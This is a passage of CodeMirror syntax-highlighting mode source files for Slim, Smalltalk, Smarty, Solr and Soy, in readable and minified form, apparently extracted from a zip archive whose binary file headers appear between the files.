y(a){return O.hasOwnProperty(a)?O[a]:O[a]=x(a)}function z(b,c){var
d=y(b),e=a.startState(d);return
c.subMode=d,c.subState=e,c.stack={parent:c.stack,style:"sub",indented:c.indented+1,tokenize:c.line},c.line=c.tokenize=w,"slimSubmode"}function
A(a,b){return a.skipToEnd(),"slimDoctype"}function
B(a,b){if("<"==a.peek())return(b.tokenize=n(b.tokenize))(a,b);if(a.match(/^[|']/))return
o(a,b,1);if(a.match(/^\/(!|\[\w+])?/))return
q(a,b);if(a.match(/^(-|==?[<>]?)/))return
b.tokenize=g(a.column(),h(a.column(),k)),"slimSwitch";if(a.match(/^doctype\b/))return
b.tokenize=A,"keyword";var c=a.match(Q);return
c?z(c[1],b):D(a,b)}function C(a,b){return
b.startOfLine?B(a,b):D(a,b)}function D(a,b){return
a.eat("*")?(b.tokenize=j(E),null):a.match(V)?(b.tokenize=E,"slimTag"):F(a,b)}function
E(a,b){return
a.match(/^(<>?|><?)/)?(b.tokenize=F,null):F(a,b)}function
F(a,b){return
a.match(Z)?(b.tokenize=F,"slimId"):a.match(Y)?(b.tokenize=F,"slimClass"):G(a,b)}function
G(a,b){return
a.match(/^([\[\{\(])/)?u(b,S[RegExp.$1],G):a.match(W)?(b.tokenize=H,"slimAttribute"):"*"==a.peek()?(a.next(),b.tokenize=j(L),null):L(a,b)}function
H(a,b){return a.match(/^==?/)?(b.tokenize=I,null):G(a,b)}function
I(a,b){var
c=a.peek();return'"'==c||"'"==c?(b.tokenize=K(c,"string",!0,!1,G),a.next(),b.tokenize(a,b)):"["==c?j(G)(a,b):":"==c?j(J)(a,b):a.match(/^(true|false|nil)\b/)?(b.tokenize=G,"keyword"):j(G)(a,b)}function
J(a,b){return
a.backUp(1),a.match(/^[^\s],(?=:)/)?(b.tokenize=j(J),null):(a.next(),G(a,b))}function
K(a,b,c,d,g){return function(h,j){f(j);var
k=0==h.current().length;if(h.match(/^\\$/,k))return
k?(e(j,j.indented),"lineContinuation"):b;if(h.match(/^#\{/,k))return
k?(j.tokenize=i("}",j.tokenize),null):b;for(var
l,m=!1;null!=(l=h.next());){if(l==a&&(d||!m)){j.tokenize=g;break}if(c&&"#"==l&&!m&&h.eat("{")){h.backUp(2);break}m=!m&&"\\"==l}return
h.eol()&&m&&h.backUp(1),b}}function L(a,b){return
a.match(/^==?/)?(b.tokenize=k,"slimSwitch"):a.match(/^\/$/)?(b.tokenize=C,null):a.match(/^:/)?(b.tokenize=D,"slimSwitch"):(o(a,b,0),b.tokenize(a,b))}var
M=a.getMode(b,{name:"htmlmixed"}),N=a.getMode(b,"ruby"),O={html:M,ruby:N},P={ruby:"ruby",javascript:"javascript",css:"text/css",sass:"text/x-sass",scss:"text/x-scss",less:"text/x-less",styl:"text/x-styl",coffee:"coffeescript",asciidoc:"text/x-asciidoc",markdown:"text/x-markdown",textile:"text/x-textile",creole:"text/x-creole",wiki:"text/x-wiki",mediawiki:"text/x-mediawiki",rdoc:"text/x-rdoc",builder:"text/x-builder",nokogiri:"text/x-nokogiri",erb:"application/x-erb"},Q=(function(a){var
b=[];for(var c in a)b.push(c);return new
RegExp("^("+b.join("|")+"):")})(P),R={commentLine:"comment",slimSwitch:"operator
special",slimTag:"tag",slimId:"attribute
def",slimClass:"attribute
qualifier",slimAttribute:"attribute",slimSubmode:"keyword
special",closeAttributeTag:null,slimDoctype:null,lineContinuation:null},S={"{":"}","[":"]","(":")"},T="_a-zA-ZÀ-ÖØ-öø-˿Ͱ-ͽͿ-῿‌-‍⁰-↏Ⰰ-⿯、-퟿豈-﷏ﷰ-�",U=T+"\\-0-9·̀-ͯ‿-⁀",V=new
RegExp("^[:"+T+"](?::["+U+"]|["+U+"]*)"),W=new
RegExp("^[:"+T+"][:\\."+U+"]*(?=\\s*=)"),X=new
RegExp("^[:"+T+"][:\\."+U+"]*"),Y=/^\.-?[_a-zA-Z]+[\w\-]*/,Z=/^#[_a-zA-Z]+[\w\-]*/,$={startState:function(){return{htmlState:a.startState(M),rubyState:a.startState(N),stack:null,last:null,tokenize:C,line:C,indented:0}},copyState:function(b){return{htmlState:a.copyState(M,b.htmlState),rubyState:a.copyState(N,b.rubyState),subMode:b.subMode,subState:b.subMode&&a.copyState(b.subMode,b.subState),stack:b.stack,last:b.last,tokenize:b.tokenize,line:b.line}},token:function(a,b){if(a.sol())for(b.indented=a.indentation(),b.startOfLine=!0,b.tokenize=b.line;b.stack&&b.stack.indented>b.indented&&"slimSubmode"!=b.last;)b.line=b.tokenize=b.stack.tokenize,b.stack=b.stack.parent,b.subMode=null,b.subState=null;if(a.eatSpace())return
null;var c=b.tokenize(a,b);return
b.startOfLine=!1,c&&(b.last=c),R.hasOwnProperty(c)?R[c]:c},blankLine:function(a){if(a.subMode&&a.subMode.blankLine)return
a.subMode.blankLine(a.subState)},innerMode:function(a){return
a.subMode?{state:a.subState,mode:a.subMode}:{state:a,mode:$}}};return
$}),"htmlmixed","ruby"),a.defineMIME("text/x-slim","slim"),a.defineMIME("application/x-slim","slim")}));PKJ��[�Q�b��&codemirror/mode/smalltalk/smalltalk.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode('smalltalk', function(config) {

  var specialChars = /[+\-\/\\*~<>=@%|&?!.,:;^]/;
  var keywords = /true|false|nil|self|super|thisContext/;

  var Context = function(tokenizer, parent) {
    this.next = tokenizer;
    this.parent = parent;
  };

  var Token = function(name, context, eos) {
    this.name = name;
    this.context = context;
    this.eos = eos;
  };

  var State = function() {
    this.context = new Context(next, null);
    this.expectVariable = true;
    this.indentation = 0;
    this.userIndentationDelta = 0;
  };

  State.prototype.userIndent = function(indentation) {
    this.userIndentationDelta = indentation > 0 ? (indentation /
config.indentUnit - this.indentation) : 0;
  };

  var next = function(stream, context, state) {
    var token = new Token(null, context, false);
    var aChar = stream.next();

    if (aChar === '"') {
      token = nextComment(stream, new Context(nextComment, context));

    } else if (aChar === '\'') {
      token = nextString(stream, new Context(nextString, context));

    } else if (aChar === '#') {
      if (stream.peek() === '\'') {
        stream.next();
        token = nextSymbol(stream, new Context(nextSymbol, context));
      } else {
        if (stream.eatWhile(/[^\s.{}\[\]()]/))
          token.name = 'string-2';
        else
          token.name = 'meta';
      }

    } else if (aChar === '$') {
      if (stream.next() === '<') {
        stream.eatWhile(/[^\s>]/);
        stream.next();
      }
      token.name = 'string-2';

    } else if (aChar === '|' && state.expectVariable) {
      token.context = new Context(nextTemporaries, context);

    } else if (/[\[\]{}()]/.test(aChar)) {
      token.name = 'bracket';
      token.eos = /[\[{(]/.test(aChar);

      if (aChar === '[') {
        state.indentation++;
      } else if (aChar === ']') {
        state.indentation = Math.max(0, state.indentation - 1);
      }

    } else if (specialChars.test(aChar)) {
      stream.eatWhile(specialChars);
      token.name = 'operator';
      token.eos = aChar !== ';'; // ; cascaded message expression

    } else if (/\d/.test(aChar)) {
      stream.eatWhile(/[\w\d]/);
      token.name = 'number';

    } else if (/[\w_]/.test(aChar)) {
      stream.eatWhile(/[\w\d_]/);
      token.name = state.expectVariable ? (keywords.test(stream.current())
? 'keyword' : 'variable') : null;

    } else {
      token.eos = state.expectVariable;
    }

    return token;
  };

  var nextComment = function(stream, context) {
    stream.eatWhile(/[^"]/);
    return new Token('comment', stream.eat('"') ?
context.parent : context, true);
  };

  var nextString = function(stream, context) {
    stream.eatWhile(/[^']/);
    return new Token('string', stream.eat('\'') ?
context.parent : context, false);
  };

  var nextSymbol = function(stream, context) {
    stream.eatWhile(/[^']/);
    return new Token('string-2', stream.eat('\'')
? context.parent : context, false);
  };

  var nextTemporaries = function(stream, context) {
    var token = new Token(null, context, false);
    var aChar = stream.next();

    if (aChar === '|') {
      token.context = context.parent;
      token.eos = true;

    } else {
      stream.eatWhile(/[^|]/);
      token.name = 'variable';
    }

    return token;
  };

  return {
    startState: function() {
      return new State;
    },

    token: function(stream, state) {
      state.userIndent(stream.indentation());

      if (stream.eatSpace()) {
        return null;
      }

      var token = state.context.next(stream, state.context, state);
      state.context = token.context;
      state.expectVariable = token.eos;

      return token.name;
    },

    blankLine: function(state) {
      state.userIndent(0);
    },

    indent: function(state, textAfter) {
      var i = state.context.next === next && textAfter &&
textAfter.charAt(0) === ']' ? -1 : state.userIndentationDelta;
      return (state.indentation + i) * config.indentUnit;
    },

    electricChars: ']'
  };

});

CodeMirror.defineMIME('text/x-stsrc', {name:
'smalltalk'});

});
PKJ��[�j��*codemirror/mode/smalltalk/smalltalk.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("smalltalk",(function(a){var
b=/[+\-\/\\*~<>=@%|&?!.,:;^]/,c=/true|false|nil|self|super|thisContext/,d=function(a,b){this.next=a,this.parent=b},e=function(a,b,c){this.name=a,this.context=b,this.eos=c},f=function(){this.context=new
d(g,null),this.expectVariable=!0,this.indentation=0,this.userIndentationDelta=0};f.prototype.userIndent=function(b){this.userIndentationDelta=b>0?b/a.indentUnit-this.indentation:0};var
g=function(a,f,g){var l=new
e(null,f,!1),m=a.next();return'"'===m?l=h(a,new
d(h,f)):"'"===m?l=i(a,new
d(i,f)):"#"===m?"'"===a.peek()?(a.next(),l=j(a,new
d(j,f))):a.eatWhile(/[^\s.{}\[\]()]/)?l.name="string-2":l.name="meta":"$"===m?("<"===a.next()&&(a.eatWhile(/[^\s>]/),a.next()),l.name="string-2"):"|"===m&&g.expectVariable?l.context=new
d(k,f):/[\[\]{}()]/.test(m)?(l.name="bracket",l.eos=/[\[{(]/.test(m),"["===m?g.indentation++:"]"===m&&(g.indentation=Math.max(0,g.indentation-1))):b.test(m)?(a.eatWhile(b),l.name="operator",l.eos=";"!==m):/\d/.test(m)?(a.eatWhile(/[\w\d]/),l.name="number"):/[\w_]/.test(m)?(a.eatWhile(/[\w\d_]/),l.name=g.expectVariable?c.test(a.current())?"keyword":"variable":null):l.eos=g.expectVariable,l},h=function(a,b){return
a.eatWhile(/[^"]/),new
e("comment",a.eat('"')?b.parent:b,!0)},i=function(a,b){return
a.eatWhile(/[^']/),new
e("string",a.eat("'")?b.parent:b,!1)},j=function(a,b){return
a.eatWhile(/[^']/),new
e("string-2",a.eat("'")?b.parent:b,!1)},k=function(a,b){var
c=new
e(null,b,!1);return"|"===a.next()?(c.context=b.parent,c.eos=!0):(a.eatWhile(/[^|]/),c.name="variable"),c};return{startState:function(){return
new
f},token:function(a,b){if(b.userIndent(a.indentation()),a.eatSpace())return
null;var c=b.context.next(a,b.context,b);return
b.context=c.context,b.expectVariable=c.eos,c.name},blankLine:function(a){a.userIndent(0)},indent:function(b,c){var
d=b.context.next===g&&c&&"]"===c.charAt(0)?-1:b.userIndentationDelta;return(b.indentation+d)*a.indentUnit},electricChars:"]"}})),a.defineMIME("text/x-stsrc",{name:"smalltalk"})}));PKJ��[�;n��
codemirror/mode/smarty/smarty.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/**
 * Smarty 2 and 3 mode.
 */

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("smarty", function(config, parserConf) {
    var rightDelimiter = parserConf.rightDelimiter || "}";
    var leftDelimiter = parserConf.leftDelimiter || "{";
    var version = parserConf.version || 2;
    var baseMode = CodeMirror.getMode(config, parserConf.baseMode ||
"null");

    var keyFunctions = ["debug", "extends",
"function", "include", "literal"];
    var regs = {
      operatorChars: /[+\-*&%=<>!?]/,
      validIdentifier: /[a-zA-Z0-9_]/,
      stringChar: /['"]/
    };

    var last;
    function cont(style, lastType) {
      last = lastType;
      return style;
    }

    function chain(stream, state, parser) {
      state.tokenize = parser;
      return parser(stream, state);
    }

    // Smarty 3 allows { and } surrounded by whitespace to NOT slip into
Smarty mode
    function doesNotCount(stream, pos) {
      if (pos == null) pos = stream.pos;
      return version === 3 && leftDelimiter == "{"
&&
        (pos == stream.string.length ||
/\s/.test(stream.string.charAt(pos)));
    }

    function tokenTop(stream, state) {
      var string = stream.string;
      for (var scan = stream.pos;;) {
        var nextMatch = string.indexOf(leftDelimiter, scan);
        scan = nextMatch + leftDelimiter.length;
        if (nextMatch == -1 || !doesNotCount(stream, nextMatch +
leftDelimiter.length)) break;
      }
      if (nextMatch == stream.pos) {
        stream.match(leftDelimiter);
        if (stream.eat("*")) {
          return chain(stream, state, tokenBlock("comment",
"*" + rightDelimiter));
        } else {
          state.depth++;
          state.tokenize = tokenSmarty;
          last = "startTag";
          return "tag";
        }
      }

      if (nextMatch > -1) stream.string = string.slice(0, nextMatch);
      var token = baseMode.token(stream, state.base);
      if (nextMatch > -1) stream.string = string;
      return token;
    }

    // parsing Smarty content
    function tokenSmarty(stream, state) {
      if (stream.match(rightDelimiter, true)) {
        if (version === 3) {
          state.depth--;
          if (state.depth <= 0) {
            state.tokenize = tokenTop;
          }
        } else {
          state.tokenize = tokenTop;
        }
        return cont("tag", null);
      }

      if (stream.match(leftDelimiter, true)) {
        state.depth++;
        return cont("tag", "startTag");
      }

      var ch = stream.next();
      if (ch == "$") {
        stream.eatWhile(regs.validIdentifier);
        return cont("variable-2", "variable");
      } else if (ch == "|") {
        return cont("operator", "pipe");
      } else if (ch == ".") {
        return cont("operator", "property");
      } else if (regs.stringChar.test(ch)) {
        state.tokenize = tokenAttribute(ch);
        return cont("string", "string");
      } else if (regs.operatorChars.test(ch)) {
        stream.eatWhile(regs.operatorChars);
        return cont("operator", "operator");
      } else if (ch == "[" || ch == "]") {
        return cont("bracket", "bracket");
      } else if (ch == "(" || ch == ")") {
        return cont("bracket", "operator");
      } else if (/\d/.test(ch)) {
        stream.eatWhile(/\d/);
        return cont("number", "number");
      } else {

        if (state.last == "variable") {
          if (ch == "@") {
            stream.eatWhile(regs.validIdentifier);
            return cont("property", "property");
          } else if (ch == "|") {
            stream.eatWhile(regs.validIdentifier);
            return cont("qualifier", "modifier");
          }
        } else if (state.last == "pipe") {
          stream.eatWhile(regs.validIdentifier);
          return cont("qualifier", "modifier");
        } else if (state.last == "whitespace") {
          stream.eatWhile(regs.validIdentifier);
          return cont("attribute", "modifier");
        } if (state.last == "property") {
          stream.eatWhile(regs.validIdentifier);
          return cont("property", null);
        } else if (/\s/.test(ch)) {
          last = "whitespace";
          return null;
        }

        var str = "";
        if (ch != "/") {
          str += ch;
        }
        var c = null;
        while (c = stream.eat(regs.validIdentifier)) {
          str += c;
        }
        for (var i=0, j=keyFunctions.length; i<j; i++) {
          if (keyFunctions[i] == str) {
            return cont("keyword", "keyword");
          }
        }
        if (/\s/.test(ch)) {
          return null;
        }
        return cont("tag", "tag");
      }
    }

    function tokenAttribute(quote) {
      return function(stream, state) {
        var prevChar = null;
        var currChar = null;
        while (!stream.eol()) {
          currChar = stream.peek();
          if (stream.next() == quote && prevChar !==
'\\') {
            state.tokenize = tokenSmarty;
            break;
          }
          prevChar = currChar;
        }
        return "string";
      };
    }

    function tokenBlock(style, terminator) {
      return function(stream, state) {
        while (!stream.eol()) {
          if (stream.match(terminator)) {
            state.tokenize = tokenTop;
            break;
          }
          stream.next();
        }
        return style;
      };
    }

    return {
      startState: function() {
        return {
          base: CodeMirror.startState(baseMode),
          tokenize: tokenTop,
          last: null,
          depth: 0
        };
      },
      copyState: function(state) {
        return {
          base: CodeMirror.copyState(baseMode, state.base),
          tokenize: state.tokenize,
          last: state.last,
          depth: state.depth
        };
      },
      innerMode: function(state) {
        if (state.tokenize == tokenTop)
          return {mode: baseMode, state: state.base};
      },
      token: function(stream, state) {
        var style = state.tokenize(stream, state);
        state.last = last;
        return style;
      },
      indent: function(state, text, line) {
        if (state.tokenize == tokenTop && baseMode.indent)
          return baseMode.indent(state.base, text, line);
        else
          return CodeMirror.Pass;
      },
      blockCommentStart: leftDelimiter + "*",
      blockCommentEnd: "*" + rightDelimiter
    };
  });

  CodeMirror.defineMIME("text/x-smarty", "smarty");
});
PKJ��[��p��$codemirror/mode/smarty/smarty.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("smarty",(function(b,c){function
d(a,b){return k=b,a}function e(a,b,c){return b.tokenize=c,c(a,b)}function
f(a,b){return
null==b&&(b=a.pos),3===n&&"{"==m&&(b==a.string.length||/\s/.test(a.string.charAt(b)))}function
g(a,b){for(var c=a.string,d=a.pos;;){var
g=c.indexOf(m,d);if(d=g+m.length,-1==g||!f(a,g+m.length))break}if(g==a.pos)return
a.match(m),a.eat("*")?e(a,b,j("comment","*"+l)):(b.depth++,b.tokenize=h,k="startTag","tag");g>-1&&(a.string=c.slice(0,g));var
i=o.token(a,b.base);return g>-1&&(a.string=c),i}function
h(a,b){if(a.match(l,!0))return
3===n?--b.depth<=0&&(b.tokenize=g):b.tokenize=g,d("tag",null);if(a.match(m,!0))return
b.depth++,d("tag","startTag");var
c=a.next();if("$"==c)return
a.eatWhile(q.validIdentifier),d("variable-2","variable");if("|"==c)return
d("operator","pipe");if("."==c)return
d("operator","property");if(q.stringChar.test(c))return
b.tokenize=i(c),d("string","string");if(q.operatorChars.test(c))return
a.eatWhile(q.operatorChars),d("operator","operator");if("["==c||"]"==c)return
d("bracket","bracket");if("("==c||")"==c)return
d("bracket","operator");if(/\d/.test(c))return
a.eatWhile(/\d/),d("number","number");if("variable"==b.last){if("@"==c)return
a.eatWhile(q.validIdentifier),d("property","property");if("|"==c)return
a.eatWhile(q.validIdentifier),d("qualifier","modifier")}else{if("pipe"==b.last)return
a.eatWhile(q.validIdentifier),d("qualifier","modifier");if("whitespace"==b.last)return
a.eatWhile(q.validIdentifier),d("attribute","modifier")}if("property"==b.last)return
a.eatWhile(q.validIdentifier),d("property",null);if(/\s/.test(c))return
k="whitespace",null;var
e="";"/"!=c&&(e+=c);for(var
f=null;f=a.eat(q.validIdentifier);)e+=f;for(var
h=0,j=p.length;h<j;h++)if(p[h]==e)return
d("keyword","keyword");return/\s/.test(c)?null:d("tag","tag")}function
i(a){return function(b,c){for(var
d=null,e=null;!b.eol();){if(e=b.peek(),b.next()==a&&"\\"!==d){c.tokenize=h;break}d=e}return"string"}}function
j(a,b){return
function(c,d){for(;!c.eol();){if(c.match(b)){d.tokenize=g;break}c.next()}return
a}}var
k,l=c.rightDelimiter||"}",m=c.leftDelimiter||"{",n=c.version||2,o=a.getMode(b,c.baseMode||"null"),p=["debug","extends","function","include","literal"],q={operatorChars:/[+\-*&%=<>!?]/,validIdentifier:/[a-zA-Z0-9_]/,stringChar:/['"]/};return{startState:function(){return{base:a.startState(o),tokenize:g,last:null,depth:0}},copyState:function(b){return{base:a.copyState(o,b.base),tokenize:b.tokenize,last:b.last,depth:b.depth}},innerMode:function(a){if(a.tokenize==g)return{mode:o,state:a.base}},token:function(a,b){var
c=b.tokenize(a,b);return b.last=k,c},indent:function(b,c,d){return
b.tokenize==g&&o.indent?o.indent(b.base,c,d):a.Pass},blockCommentStart:m+"*",blockCommentEnd:"*"+l}})),a.defineMIME("text/x-smarty","smarty")}));PKJ��[��2|q
q
codemirror/mode/solr/solr.jsnu�[���// CodeMirror, copyright (c)
by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("solr", function() {
  "use strict";

  var isStringChar = /[^\s\|\!\+\-\*\?\~\^\&\:\(\)\[\]\{\}\"\\]/;
  var isOperatorChar = /[\|\!\+\-\*\?\~\^\&]/;
  var isOperatorString = /^(OR|AND|NOT|TO)$/i;

  function isNumber(word) {
    return parseFloat(word).toString() === word;
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next;
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) break;
        escaped = !escaped && next == "\\";
      }

      if (!escaped) state.tokenize = tokenBase;
      return "string";
    };
  }

  function tokenOperator(operator) {
    return function(stream, state) {
      var style = "operator";
      if (operator == "+")
        style += " positive";
      else if (operator == "-")
        style += " negative";
      else if (operator == "|")
        stream.eat(/\|/);
      else if (operator == "&")
        stream.eat(/\&/);
      else if (operator == "^")
        style += " boost";

      state.tokenize = tokenBase;
      return style;
    };
  }

  function tokenWord(ch) {
    return function(stream, state) {
      var word = ch;
      while ((ch = stream.peek()) && ch.match(isStringChar) !=
null) {
        word += stream.next();
      }

      state.tokenize = tokenBase;
      if (isOperatorString.test(word))
        return "operator";
      else if (isNumber(word))
        return "number";
      else if (stream.peek() == ":")
        return "field";
      else
        return "string";
    };
  }

  function tokenBase(stream, state) {
    var ch = stream.next();
    if (ch == '"')
      state.tokenize = tokenString(ch);
    else if (isOperatorChar.test(ch))
      state.tokenize = tokenOperator(ch);
    else if (isStringChar.test(ch))
      state.tokenize = tokenWord(ch);

    return (state.tokenize != tokenBase) ? state.tokenize(stream, state) :
null;
  }

  return {
    startState: function() {
      return {
        tokenize: tokenBase
      };
    },

    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      return state.tokenize(stream, state);
    }
  };
});

CodeMirror.defineMIME("text/x-solr", "solr");

});
PKJ��[�W�3��
codemirror/mode/solr/solr.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("solr",(function(){function a(a){return
parseFloat(a).toString()===a}function b(a){return function(b,c){for(var
d,f=!1;null!=(d=b.next())&&(d!=a||f);)f=!f&&"\\"==d;return
f||(c.tokenize=e),"string"}}function c(a){return
function(b,c){var d="operator";return"+"==a?d+="
positive":"-"==a?d+="
negative":"|"==a?b.eat(/\|/):"&"==a?b.eat(/\&/):"^"==a&&(d+="
boost"),c.tokenize=e,d}}function d(b){return function(c,d){for(var
g=b;(b=c.peek())&&null!=b.match(f);)g+=c.next();return
d.tokenize=e,h.test(g)?"operator":a(g)?"number":":"==c.peek()?"field":"string"}}function
e(a,h){var
i=a.next();return'"'==i?h.tokenize=b(i):g.test(i)?h.tokenize=c(i):f.test(i)&&(h.tokenize=d(i)),h.tokenize!=e?h.tokenize(a,h):null}var
f=/[^\s\|\!\+\-\*\?\~\^\&\:\(\)\[\]\{\}\"\\]/,g=/[\|\!\+\-\*\?\~\^\&]/,h=/^(OR|AND|NOT|TO)$/i;return{startState:function(){return{tokenize:e}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)}}})),a.defineMIME("text/x-solr","solr")}));PKJ��[��'TQTQcodemirror/mode/soy/soy.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../htmlmixed/htmlmixed"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../htmlmixed/htmlmixed"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var paramData = { noEndTag: true, soyState: "param-def" };
  var tags = {
    "alias": { noEndTag: true },
    "delpackage": { noEndTag: true },
    "namespace": { noEndTag: true, soyState:
"namespace-def" },
    "@param": paramData,
    "@param?": paramData,
    "@inject": paramData,
    "@inject?": paramData,
    "@state": paramData,
    "template": { soyState: "templ-def", variableScope:
true},
    "literal": { },
    "msg": {},
    "fallbackmsg": { noEndTag: true, reduceIndent: true},
    "select": {},
    "plural": {},
    "let": { soyState: "var-def" },
    "if": {},
    "elseif": { noEndTag: true, reduceIndent: true},
    "else": { noEndTag: true, reduceIndent: true},
    "switch": {},
    "case": { noEndTag: true, reduceIndent: true},
    "default": { noEndTag: true, reduceIndent: true},
    "foreach": { variableScope: true, soyState:
"for-loop" },
    "ifempty": { noEndTag: true, reduceIndent: true},
    "for": { variableScope: true, soyState: "for-loop"
},
    "call": { soyState: "templ-ref" },
    "param": { soyState: "param-ref"},
    "print": { noEndTag: true },
    "deltemplate": { soyState: "templ-def",
variableScope: true},
    "delcall": { soyState: "templ-ref" },
    "log": {},
    "element": { variableScope: true },
  };

  var indentingTags = Object.keys(tags).filter(function(tag) {
    return !tags[tag].noEndTag || tags[tag].reduceIndent;
  });

  CodeMirror.defineMode("soy", function(config) {
    var textMode = CodeMirror.getMode(config, "text/plain");
    var modes = {
      html: CodeMirror.getMode(config, {name: "text/html",
multilineTagIndentFactor: 2, multilineTagIndentPastTag: false}),
      attributes: textMode,
      text: textMode,
      uri: textMode,
      trusted_resource_uri: textMode,
      css: CodeMirror.getMode(config, "text/css"),
      js: CodeMirror.getMode(config, {name: "text/javascript",
statementIndent: 2 * config.indentUnit})
    };

    function last(array) {
      return array[array.length - 1];
    }

    function tokenUntil(stream, state, untilRegExp) {
      if (stream.sol()) {
        for (var indent = 0; indent < state.indent; indent++) {
          if (!stream.eat(/\s/)) break;
        }
        if (indent) return null;
      }
      var oldString = stream.string;
      var match = untilRegExp.exec(oldString.substr(stream.pos));
      if (match) {
        // We don't use backUp because it backs up just the position,
not the state.
        // This uses an undocumented API.
        stream.string = oldString.substr(0, stream.pos + match.index);
      }
      var result = stream.hideFirstChars(state.indent, function() {
        var localState = last(state.localStates);
        return localState.mode.token(stream, localState.state);
      });
      stream.string = oldString;
      return result;
    }

    function contains(list, element) {
      while (list) {
        if (list.element === element) return true;
        list = list.next;
      }
      return false;
    }

    function prepend(list, element) {
      return {
        element: element,
        next: list
      };
    }

    function popcontext(state) {
      if (!state.context) return;
      if (state.context.scope) {
        state.variables = state.context.scope;
      }
      state.context = state.context.previousContext;
    }

    // Reference a variable `name` in `list`.
    // Let `loose` be truthy to ignore missing identifiers.
    function ref(list, name, loose) {
      return contains(list, name) ? "variable-2" : (loose ?
"variable" : "variable-2 error");
    }

    // Data for an open soy tag.
    function Context(previousContext, tag, scope) {
      this.previousContext = previousContext;
      this.tag = tag;
      this.kind = null;
      this.scope = scope;
    }

    function expression(stream, state) {
      var match;
      if (stream.match(/[[]/)) {
        state.soyState.push("list-literal");
        state.context = new Context(state.context,
"list-literal", state.variables);
        state.lookupVariables = false;
        return null;
      } else if (stream.match(/map\b/)) {
        state.soyState.push("map-literal");
        return "keyword";
      } else if (stream.match(/record\b/)) {
        state.soyState.push("record-literal");
        return "keyword";
      } else if (stream.match(/([\w]+)(?=\()/)) {
        return "variable callee";
      } else if (match = stream.match(/^["']/)) {
        state.soyState.push("string");
        state.quoteKind = match[0];
        return "string";
      } else if (stream.match(/^[(]/)) {
        state.soyState.push("open-parentheses");
        return null;
      } else if (stream.match(/(null|true|false)(?!\w)/) ||
          stream.match(/0x([0-9a-fA-F]{2,})/) ||
          stream.match(/-?([0-9]*[.])?[0-9]+(e[0-9]*)?/)) {
        return "atom";
      } else if (stream.match(/(\||[+\-*\/%]|[=!]=|\?:|[<>]=?)/)) {
        // Tokenize filter, binary, null propagator, and equality
operators.
        return "operator";
      } else if (match = stream.match(/^\$([\w]+)/)) {
        return ref(state.variables, match[1], !state.lookupVariables);
      } else if (match = stream.match(/^\w+/)) {
        return /^(?:as|and|or|not|in|if)$/.test(match[0]) ?
"keyword" : null;
      }

      stream.next();
      return null;
    }

    return {
      startState: function() {
        return {
          soyState: [],
          variables: prepend(null, 'ij'),
          scopes: null,
          indent: 0,
          quoteKind: null,
          context: null,
          lookupVariables: true, // Is unknown variables considered an
error
          localStates: [{
            mode: modes.html,
            state: CodeMirror.startState(modes.html)
          }]
        };
      },

      copyState: function(state) {
        return {
          tag: state.tag, // Last seen Soy tag.
          soyState: state.soyState.concat([]),
          variables: state.variables,
          context: state.context,
          indent: state.indent, // Indentation of the following line.
          quoteKind: state.quoteKind,
          lookupVariables: state.lookupVariables,
          localStates: state.localStates.map(function(localState) {
            return {
              mode: localState.mode,
              state: CodeMirror.copyState(localState.mode,
localState.state)
            };
          })
        };
      },

      token: function(stream, state) {
        var match;

        switch (last(state.soyState)) {
          case "comment":
            if (stream.match(/^.*?\*\//)) {
              state.soyState.pop();
            } else {
              stream.skipToEnd();
            }
            if (!state.context || !state.context.scope) {
              var paramRe = /@param\??\s+(\S+)/g;
              var current = stream.current();
              for (var match; (match = paramRe.exec(current)); ) {
                state.variables = prepend(state.variables, match[1]);
              }
            }
            return "comment";

          case "string":
            var match = stream.match(/^.*?(["']|\\[\s\S])/);
            if (!match) {
              stream.skipToEnd();
            } else if (match[1] == state.quoteKind) {
              state.quoteKind = null;
              state.soyState.pop();
            }
            return "string";
        }

        if (!state.soyState.length || last(state.soyState) !=
"literal") {
          if (stream.match(/^\/\*/)) {
            state.soyState.push("comment");
            return "comment";
          } else if (stream.match(stream.sol() ? /^\s*\/\/.*/ :
/^\s+\/\/.*/)) {
            return "comment";
          }
        }

        switch (last(state.soyState)) {
          case "templ-def":
